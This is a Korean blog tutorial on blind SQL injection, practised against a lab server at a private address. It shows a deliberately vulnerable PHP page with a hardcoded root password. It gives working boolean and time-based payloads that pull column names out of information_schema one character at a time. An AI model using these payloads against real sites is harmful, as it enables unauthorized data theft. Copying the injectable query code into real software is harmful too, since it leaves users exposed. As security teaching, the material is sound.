2017. 9. 6. 19:47ㆍWebHacking/Web
이전의 게시글에서 사용한 웹 페이지 소스코드에서 while문이 있어서 쉽게 DB데이터를 가져올 수 있었다
하지만 실제 공격에서는 해당 while문처럼 편리하게 코드를 볼 수 없다
다음 웹페이지에서 DB데이터를 확인할 수 있는 방법에 대해 알아보자
[ http://192.168.6.123/view.php ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php $db = mysql_connect('localhost','root','password1!'); mysql_select_db('blind'); $sql = "SELECT * FROM news WHERE no={$_GET[no]}"; $ret = mysql_query($sql); $row = mysql_fetch_row($ret); if( $row ){ print "Welcome~ News Site~!!<br><br>"; } ?> | cs |
[ 알아야할 SQL문 ]
1> limit
mysql> SELECT column_name FROM columns limit 0,10 ;
=> SELECT의 결과에서 0번째 데이터를 시작으로 10개의 데이터를 출력 ( 0번 줄 ~ 9번째 줄 )
mysql> SELECT column_name FROM columns limit 0,5 ;
=> SELECT의 결과에서 0번째 데이터부터 5개의 데이터를 출력 ( 0번째 줄 ~ 4번째 줄 )
mysql> SELECT column_name FROM columns limit 6,5 ;
=> SELECT의 결과에서 6번째 데이터부터 5개의 데이터를 출력 ( 6번째 줄 ~ 10번째 줄)
2> substr( 문자열 , 시작위치 , 개수 )
substr( 문자열, 시작위치, 개수 ): 문자열의 시작위치( 1부터시작 ) 에서부터 개수만큼의 글자를 가져온다
mysql> SELECT substr( 'Hello, injection' , 1, 5 );
1번째 글자부터 5개 출력 => Hello
mysql> SELECT substr( 'Hello, injection' , 1, 1 );
1번째 글자부터 1개 출력 => H
mysql> SELECT substr( 'Hello, injection' , 2, 1 );
2번째 글자부터 1개 출력 => e
mysql> SELECT substr( 'Hello, injection' , 3, 1 );
3번째 글자부터 1개 출력 => l
* SELECT 는 출력하기 위해 사용했습니다
3> substr함수 조건 / ascii함수
3-1> 하나의 문자열만 사용해야한다 ( 하나의 열 )
mysql> SELECT substr( ( SELECT column_name, table_name FROM columns) , 1 , 1 );
substr함수에 들어가는 인자가 2개( column_name과 table_name )의 열로 입력되어서 오류가 발생한다
3-2> 하나의 문자열만 사용해야한다 ( 하나의 행 )
mysql> SELECT substr( (SELECT column_name FROM columns), 1 ,1 );
여러개의 데이터 행들이 인자로 입력되어서 오류가 발생한다
3-3> ascii( 문자 ): 해당 문자를 아스키 코드번호로 반환한다
mysql> SELECT ascii( substr( ( SELECT column_name FROM columns limit 0,1 ) ,1 , 1 ) );
limit함수로 하나의 데이터만 가져온다음 해당 문자의 첫번째 글자부터 한개의 글자를 ascii함수의 인자로 입력한 내용 출력
[ Blind SQL injection 실행과정 ]
limit, ascii, substr 함수를 사용해서 SQL injection의 취약점을 이용해 DB에서 사용하는 열의 이름을 알아보겠습니다
1> 웹 페이지에 injection 취약점이 존재하는지 확인한다
http://192.168.6.123/view.php?no=2 and 1=1 |
조건식 and 1=1 항상 참이므로, 웹 페이지는 정상작동 할 것이다
http://192.168.6.123/view.php?no=2 and 1=2 |
조건식 and 1=2 는 항상 거짓이되므로, 웹페이지가 출력되지 않는다
=> 공격자가 입력하는 조건식에 따라 화면 출력에 변화가 생긴다면 취약점이 존재하는 것
=> " and 조건식 " 의 참,거짓을 이용해서 열의 이름을 알아내야합니다
[ 사용할 SQL문 ]
* 문자의 글자의 시작지점은 1부터 시작합니다
mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,1, 1) );
columns테이블에서 column_name 열의 첫번쨰 데이터의 1번째 글자부터 1개의 글자를 아스키코드로 변환
mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,2, 1) );
columns테이블에서 column_name 열의 첫번쨰 데이터의 2번째 글자부터 1개의 글자를 아스키코드로 변환
mysql> SELECT ascii( substr( (SELECT column_name FROM columns limit 0,1) ,3, 1) );
columns테이블에서 column_name 열의 첫번쨰 데이터의 3번째 글자부터 1개의 글자를 아스키코드로 변환
2> 실제 웹페이지에서의 활용 - 560번째 데이터의 열 이름을 알아내는 과정
2-1> 열이름의 첫번째 글자 알아내기
http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))>110
=> 거짓 ( 웹페이지 실행 x )
http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))>100
=> 거짓 ( 웹페이지 실행 x )
http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))>90
=> 참 ( 웹페이지 실행 o )
... 반복
http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),1,1))=97
=> 참 ( 웹페이지 실행 o)
2-1> 열이름의 두번째 글자 알아내기
http://192.168.6.123/view.php?no=1 and ascii(substr((SELECT column_name FROM information_schema.columns limit 560,1),2,1))> 100
...
반복...
* 열의 이름의 마지막은 NULL이 됩니다 NULL값이 나올때까지 위 과정을 반복실행해서 열의 이름을 알아내야합니다
[ 웹페이지가 정상실행된 화면 ]
입력 URL
http://192.168.6.123/view.php?no=2 and ascii( substr( ( SELECT column_name FROM information_schema.column limit 0,1) ,1,1) ) = 67 |
정상 실행된 화면과 실행이 되지 않는 조건식을 계속해서 입력하면서 컬럼이름을 하나하나씩 찾아내야합니다
* 화면출력으로 취약점 존재여부가 나오지 않을 때 sleep함수를 사용할 수 있다
http://192.168.6.123/view.php?no=2 and " 조건식 " and sleep(10); |
조건식이 참일 때 sleep()함수가 실행되고 조건식이 거짓이면 sleep()함수는 실행되지 않는다
sleep함수의 실행되는지 안되는지에 따라서 injection취약점이 있는지 확인할 수 있다
'WebHacking > Web' 카테고리의 다른 글
SQL injection 실습 / Blind SQL injection (0) | 2017.09.05 |
---|---|
SQL injection 개념실습 (0) | 2017.09.04 |
SQL injection 개념, 원리 (0) | 2017.09.01 |
아파치 웹 서버 설정 파일 / 확장자 우회 / 웹쉘 / 바인드쉘 / 리버스쉘 (0) | 2017.08.31 |
CSRF ( Cross Site Request Forgery ) (0) | 2017.08.29 |